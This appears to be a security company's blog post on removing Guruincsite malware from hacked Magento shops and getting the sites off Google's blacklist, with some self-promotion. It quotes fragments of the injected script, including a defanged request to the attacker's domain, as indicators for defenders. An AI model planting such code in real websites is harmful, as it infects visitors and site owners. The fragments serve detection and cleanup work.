Since 17th Oct, we’ve have been receiving website hack recovery requests from Magento shops infected with Guruincsite,com malware.

There are two variations of the malicious code – one that has obfuscated code (gibberish) containing

function LCWEHH(XHFER1){XHFER1=XHFER1
, and another that shows
xhr.open('GET', 'http;//guruincsite,com/1,php'
.

See how we secure your websites from malware!

Most of the hack recovery requests were from sites blacklisted by Google, and as of this writing, Google has listed 8527 domains infected with this malware.

Website owners reported seeing an alert “The site ahead contains malware” in browsers, see “Malicious software is hosted on 1 domain(s)” when clicking on Google search results, or got a mail from Google webmaster with the subject ” [Webmaster Tools] Malware infection detected“.

Google blacklisting notification due to Magento Malware

Google webmaster mail notifying infected site.

 

[Update 20th Oct] – It appears that this Guruincsite malware is inserted using the infamous Neutrino Exploit Kit which exploits the Shoplift vulnerability for which patches were released in Feb 2015. So, your best defense is to upgrade/patch Magento ASAP.

As part of our website support service, we’ve been able to clean this malware in a majority of the sites within 2 hours and got Google to de-blacklist these sites within 4 hours. Here’s how we did it.

[ Want to secure your websites from hacks? Our website technicians will audit and protect your websites in no time. ]  

Removing the Guruincsite malware and de-listing from Google

As of now, the malware is seen to infect the Home CMS Page and Footer.

Cleaning Magento site home page

The plain text malware is till now found in the home page content. It’ll look something like this:

Home page Guruincsite malware code

Malicious code found in Magento home CMS pages

 

To clean the malware, we edited the home page CMS by going to CMS >> Pages >> Home >> Content and deleted the malicious code as shown below:

Removing Guruincsite malware from home CMS page

Removing Guruincsite malware from home CMS page

 

Cleaning the Magento site footer

The code found in footer is usually obfuscated code (gibberish) as shown here:

Malicious code found in Magento footer

Malicious code found in Magento footer

 

To clean the malware, we edited the footer by going to System >> Configuration >> Design >> Footer >> Miscellaneous HTML in the admin panel and deleted the malicious code as shown below:

Removing malicious Guruincsite code from Magento footer

Removing malicious Guruincsite code from Magento footer

 

In several sites we also saw multiple admin privilege accounts and phishing URLs in files located in var folder of Magento.

These were also removed on a case-to-case basis.

[ Optimize your websites for better experience! Our website technicians will audit and fix your websites at affordable pricing. ]

Re-scanning the website, and finishing up

Once all malicious code were removed, all Magento cache, and system cache (like Varnish, APC cache, etc.) were cleaned to make sure only clean files were present in the site.

The whole site files and database dump was then checked to make sure there are no more malicious code.

[Update 20th Oct] – We’ve seen a few sites which were hosted in insecure shared servers. This could’ve made the hack easier to execute using the Neutrino Exploit Kit. So, where possible, we’re implementing additional virtual host isolation in shared hosting servers.

For some websites, clean backups were available that was just a few hours old. Those websites were restored using the available backups.

Re-submission to Google

Once we were reasonably sure that all malware has been removed, Google Webmaster tools was used to let Google know that the site is now clean. We were able to get websites back online in as little as 4 hours.

Preventing re-infection

All the affected websites ran older versions of Magento. The latest Magento version is 1.9.2.1. If your site is not of this version or if you have not applied any of the security patches released over the past few months, your site is likely to be vulnerable.

For the sites that we restored, we applied patches or upgraded Magento to make sure it won’t be infected again. In some servers, web application firewalls were installed and configured to prevent infection.

New exploits come out all the time, and some of them, like this Guruincsite malware can hit with little or no notice. It is best to protect your website with a professional preventive server management plan that will keep your servers and site secured with multiple layers of security.

If you’d like to know how to make your websites more secure and reliable, we’d be happy to talk to you.